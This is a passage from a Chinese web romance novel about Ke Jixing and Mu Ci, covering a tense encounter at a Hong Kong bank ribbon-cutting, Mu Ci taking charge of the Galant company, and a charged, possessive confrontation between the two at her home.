剪裁仪式是早就拒绝掉的，如果不是慕瓷晚上的一通视频，他怎么会连夜赶过来？最近时间的航班已经订不到，他自己的私人飞机没有提前申请航线没办法起飞。最后他托人问了一圈，才找到了一个前些天申请了往港航线的飞机。
柯霁行二十八年的人生里从来没做过这种情绪上头的事，可怕的是，他居然一点都不后悔。
飞机在万米高空中飞行，看着漆黑的云层，他脑海里全都是今晚视频里的女孩。
男人弯着腰伸手摸了摸慕瓷的头发：“晚宴上怎么不开心了？谁欺负我们迢迢了？”
他忘不了晚上接起视频时女孩眼角残留的湿润，视频的最后女孩醉意上头，脑袋缩在毛毯里醉的厉害，怎么哄都不肯看他一眼。
隔着手机，他只能听到女孩小声的呜咽，她嘴里像是咬着毛毯，含含糊糊地边哭边说着难受，想他，要他。
柯霁行很难形容自己那一刻的感觉，心脏好像忽然从高空中坠落，失重感让他连握住手机的力气都没有。
他想，如果他当时在她身边，会做出什么连他自己都不知道。
可能强势的把她从毛毯里抱出来，手臂用力，箍住她的腰，发疯地吻她，让她思绪被他全部占据，再也想不起那些伤心事。
又或者是温柔地吻掉她眼角的泪痕，轻柔却不容拒绝地将那条破毛毯从她口中拿开，毫不留恋的丢掉。
他都没碰过的地方别的东西怎么能先碰？
那一刻，他眸色幽深不见底，手臂因极致的忍耐而青筋暴起。
他现在想起，有些庆幸自己那一刻不在，同时又隐约惋惜自己为什么不在。
15. 慕色迢迢
Chapter15
两人深夜站在院子外喂蚊子，慕港盛实在忍不住，吩咐管家把人喊进来。
大半夜的，在外面喂蚊子，什么毛病？
这柯霁行也是个没眼力见的，也不怕热着迢迢？
回到房间，慕瓷逐渐平静下来。
面团睡得四仰八叉，显然已经熟睡，听见动静也只是扫了扫尾巴，连眼睛都没舍得睁开。
她站了一会儿，不知在想些什么。过了会儿，她脱掉身上黑色丝绸睡衣，随手扔到小沙发上，走进浴室，将刚刚一身黏腻与热汗洗了个干净。
*
裕丰银行新增分行，今日的剪彩仪式程家除了邀请港城几大世家之外，还给京圈的几位也发了邀请函。
毕竟京市不是自己地盘，裕丰想在京市走的长远，仰仗那边的机会还有很多。
但谁也没想到柯霁行会亲自过来。
程嘉裕听到消息，系领带的动作微顿。
“来了？挺好，我正好想见见他。”
助理Chloe提醒：“程总说这位最好不要得罪。”
程嘉裕最后确认了一遍着装，镜子里的男人风度翩翩，任谁见了也要说一句“程少今日真靓。”
“大哥也说了是‘最好’。”
有什么不能得罪的，风水轮流转，说不一定哪天这位柯先生也要向他借钱。
柯霁行不是特意为了裕丰而来，只是来都来了，而且昨天在慕瓷面前提过，便过来一趟。
剪彩之后是afterparty，柯霁行没兴趣参加，正准备打个招呼提前离开，却被绊住了脚。
来人是程家二少。
柯霁行之前没见过程嘉裕，倒是和他大哥程立东打过交道。
兄弟俩性格有些不同，大概因为有个大哥事事替他安排到位，这位程少爷显然藏不住什么心思。
话题绕来绕去最终绕到了慕瓷身上。
柯霁行眯起黑眸，不动声色地饮了口香槟。
原来这位程少是醉翁之意不在酒。
“早听Ariel说过，有个哥哥在京市很照顾她，今日终于有机会见一面。柯先生，你可能不知道，我和Ariel很小就认识，感情不错，还要多亏你平日多有照拂。”
程嘉裕举着高脚杯，轻轻碰了下柯霁行的酒杯。
“谢谢你今日来捧场。”
男人黑眸中闪过一丝寒芒，很快消失不见，程嘉裕以为自己看错了。
“我确实不知道。”柯霁行顿了顿，指腹轻轻摩挲着高脚杯带着凉意的杯肚，轻飘飘的说：“毕竟Ariel从来没有和我提过你。”
男人占有欲强到连在程嘉裕面前喊慕瓷小名这件小事都不愿意。
程嘉裕带着笑意的脸倏地僵住了。
他漫不经心的将高脚杯放在一旁的吧台上，似乎有些疑惑：“程少，你是以什么身份替Ariel道谢？”
男人嗓音又冷又凉，他像是随口问了一句，也没要程嘉裕回答。
迢迢还在等他一起回京，他无意再在此处浪费时间，说了句“失陪”，径直离开了宴会厅。
程嘉裕垂眸，吧台上男人留下的高脚杯里还剩了小半杯淡黄色香槟。程嘉裕气到头顶冒烟，他刚刚主动给柯霁行敬酒，那男人压根一口没饮！
万米高空。
慕瓷觉得这架飞机有些眼生，柯霁行停顿几秒才说自己飞机拿去养护了，是借的别人的。
恰好空姐拿了菜单过来，慕瓷也就没多想。
两人用过餐，柯霁行本来想和慕瓷说会儿话，偏头看见她闭着眼睛似乎睡着了，只能作罢。
回到京市天色已经黑了，柯霁行晚上还有个会议，让司机先送慕瓷回去。
夜色中男人的肩宽背阔，他在飞机上换了一件蓝色衬衣，熨烫妥帖的衬衣扎进西裤里，跨步上车时男人腰间肌肉线条凌厉而紧绷，显得禁欲又性感。
慕瓷慢慢收回了视线。
*
七月上旬，慕瓷拿到毕业证书，正式从美术学院毕业。
与此同时，慕氏集团正式发了公告，将由慕瓷全权打理Galant。
她这段时间忙的焦头烂额，管理一家这么大的企业不是件容易的事情，还好向叙义在旁边教她。
连温荔说要给她庆祝她都抽不出空来。
连续几次约人都约不出来，温大小姐直接杀到了伽蓝总部。
新招的秘书将温荔引进慕瓷的办公室，慕瓷正在打电话，示意温荔先坐会儿。
温荔要了杯咖啡。
慕瓷挂了电话，温荔：“咖啡豆还不错，什么牌子？我回头让致豫行政部买一点。”
慕瓷想了想：“是柯霁行送的，你拿点走，回头我替你问问他。”
温荔：“。”
“我听傅靳纶说他最近糟心事不少，也是忙的连轴转。”
慕瓷微顿。
“他怎么了？”
“好像是说有个项目出了问题吧，那个项目是他二叔接下来的，没想到突然爆雷。”
“事儿是不大，只是给别人扫尾，难免心烦。”
温荔觉得奇怪：“这事儿柯霁行没和你说吗？”
慕瓷摇头：“最近忙，没怎么见他。”
温荔眯起眼：“不对劲。”
慕瓷无奈：“我刚接手伽蓝，连觉都睡不饱，哪有心思想其他。”
这话是真的，但对柯霁行有几分避而不见也是真的。
前段时间柯霁行突然连夜飞港，她以为他是特意为她而来，结果会错意。失望落空，那几天情绪上头不想见他，但是这几天工作充斥头脑，那些乱七八糟的情绪也淡了，只是难免还有些失落。
“后天我生日你不会忘了吧？阿凝到时候也会过来。”
“怎么会。”慕瓷说：“早就和秘书说过把那天空出来了，放一百个心。”
*
晚上慕瓷回了山泰湾。
她今天自己开车，把车停到院子里，她看了眼对面，二楼漆黑一片，看样子主人还没回家。
慕瓷脚步顿了顿，往自己家走去。
廖姨这几天请假回老家了，没人给她留灯。
她按下指纹，“嘀嗒”一声，冰冷高扬的电子女声在空寂中响起。
“欢迎回家。”
智能感应灯全部亮起。
慕瓷今天穿的高跟鞋是绑带的，比较难脱。
她今夜又特别没耐心，解了半天，还剩好几圈没解开，她烦躁地踢了踢黑色高跟鞋。
上方忽然传来一道很低的叹息声。
慕瓷抬眸，男人居高临下地站在她面前，不知看了她多久。
她愣住了：“……你怎么在这？”
柯霁行没说话，半跪在地上，伸手替她解着高跟鞋的那一圈圈丝带。
丝带从脚背上缠绕到脚踝，延伸到小腿，最后在小腿肚后方打结固定。
黑色的丝绸一圈一圈缠绕着女孩嫩白的肌肤，黑的极致白的晃眼，强烈的对比让男人黑眸中闪过一丝幽光。
他修长的手指拉着丝带一角，微微一用力，扯开女孩小腿肚后方的蝴蝶结。
——就像拆开一份已经想要很久的礼物。
柯霁行喉结滚了滚。
慕瓷似乎被他手指温度烫到，下意识要往后躲，被男人霸道地扣住脚踝。
“别动，我帮你解。”
柯霁行一只手就完全圈住了她的脚踝。
怎么会这么细。
柯霁行黑眸中卷起一场风暴。
他的动作很慢，慕瓷觉得气氛说不出的怪异，甚至荒诞的觉得自己像是野兽利爪下的猎物，正被一点点卸下最后的防备，而等待她的结局却是随时可能被啃食的一干二净。
男人逆着灯光，慕瓷看不清楚他面上的表情。
他动作慢条斯理，好像半点也没觉得这双鞋有多么难解。
高跟鞋终于脱下，男人顺手将鞋子替她放入鞋柜。
慕瓷悄悄松了口气，觉得这个过程实在难熬，天知道她刚刚后背都沁出了热汗！
以后再也不要穿这双鞋了！
“我当然是来找你，迢迢。”
男人终于抬起眼开口，
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黑眸中的情绪晦涩难懂。
“为什么躲着我？”
慕瓷刚放松的心又提了起来，接着狠狠往下坠，她几乎是有些慌乱的躲开男人锐利的视线。
“我没躲你，你不知道最近Galant有多忙，我忙的头晕——”
“我太了解你。”柯霁行叹息：“究竟是伽蓝让你忙到连回我消息的时间都没有，还是你在刻意躲避一切我可能出现的地方？嗯？连鹤湖别院都不去了。迢迢，你想清楚再说。”
慕瓷抿唇，心慌的一塌糊涂。
她不知道为什么柯霁行要揪着这个问题不放。
谁没有一点小秘密？就算是最亲密的眷侣，也有不想说出口的事情，躲着他又怎么了，为什么非得刨根问底？
但她却很没出息的不敢说出这些话。
因为他怕柯霁行回：好啊，那我以后再也不问你、不管你了。
一瞬间，慕瓷心里很空，连带着眼神都有些空洞。
“我在你面前你都在走神。”男人伸手轻轻捏住她的下巴，对上她的视线。
“迢迢，你在想什么？可以告诉我吗？”
慕瓷眼神渐渐聚焦在男人眉眼处，她伸手，轻轻碰了碰男人的眼尾。
那里有一颗颜色很浅的小痣。
在眼尾下面一点点。
柯霁行眉眼深邃，很容易让人觉得他不近人情，这颗小痣却弱化了这种刻板印象。
“真好看。”
柯霁行笑了笑，“迢迢，不可以说男人好看。”
慕瓷歪了歪头：“我也不可以吗？”
女孩神色纯真烂漫，柯霁行呼吸都停滞了几秒。
半晌，他听到自己低沉沙哑的声音。
“只有你可以。”
你是唯一的例外，只要是你，对我说什么，做什么，都可以。
“小行哥哥，喜欢一个人真的好辛苦啊。”慕瓷声音很轻：“他一句话就可以让我高兴的像是要飞起来，但是下一句就可以让我失落到什么事也不想干。”
她看着他漆黑的双眸：“迢迢是不是很没有出息？”
像是有人朝他心里开了一枪，柯霁行心脏像是破了个洞。
这一刻，他所有的情绪全部外露，遮掩不了半分。
男人仓皇地伸出手，用掌心盖住女孩明亮的双眸。
掌心下女孩眼睫微微颤抖，像是蒲扇着翅膀的蝴蝶，振翅欲飞。
“小行哥哥？”
男人喉结滚出一个音节：“嗯。”
女孩唇瓣微张，有些讶异他为什么要遮住自己的眼睛。
她感觉到面前的空气被似有若无的木质香调一点一滴全部侵占，男人熟悉又陌生的灼热气息完完全全笼罩住她。
她看不见他，黑暗让慕瓷莫名心慌，她伸手抵在男人胸口。
柯霁行垂眸，女孩葱白的指尖因用力更显苍白，可能是因为紧张，猫眼偏光的指甲在他胸口轻蹭乱挠，像一只被困住，无可奈何只能亮出爪子的小猫咪。
可是被养熟了的猫咪就算伸爪也不舍得伤害主人，只会不痛不痒给他一下然后强装镇定。
而他却被这小猫似的刮蹭激起了一身火苗。
火苗引燃了男人隐忍已久的强烈占有欲。
柯霁行拽住女孩的手，微微用力将人拉起来，然后一步步的逼近，将人逼停在那扇古朴双开大门上。
他另一只手还盖住慕瓷的眼睛没放开。
从远处看，女孩身躯全部被他高大的身影笼罩在身下。
像一对交颈缠绵的眷侣。
男人曲腿，单腿将女孩笔直纤细的双腿困住。
“你喜欢的人是谁？”
柯霁行眸色深不见底，剩下的那只手捞过女孩的腰肢，宽大的手掌掌握住她的腰身，炙热滚烫的掌心停留在她的左侧腰窝，将人微微提起。
“那个送你去校医室的男孩？是裕丰的程二少？还是航惟的晏燃？或者是温豫章？”
——一字一句，完全是质问的语气。
女孩腰肢折出漂亮的弧度，掌心下慕瓷被遮住的双眼猛然睁大。